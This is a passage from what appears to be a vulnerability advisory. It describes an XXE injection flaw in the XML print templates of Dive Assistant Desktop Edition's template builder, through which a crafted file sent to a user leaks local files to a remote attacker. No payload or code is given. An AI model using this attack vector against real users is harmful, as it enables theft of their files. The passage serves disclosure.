1. Vulnerability Description

Dive Assistant - Desktop Edition comes with a template builder .exe to create print templates.  The templates are saved and uploaded as XML files which are vulnerable to XXE injection.  Sending a crafted payload to a user, when opened in Dive Assistant - Template Builder, will return the content of any local files to a remote attacker.
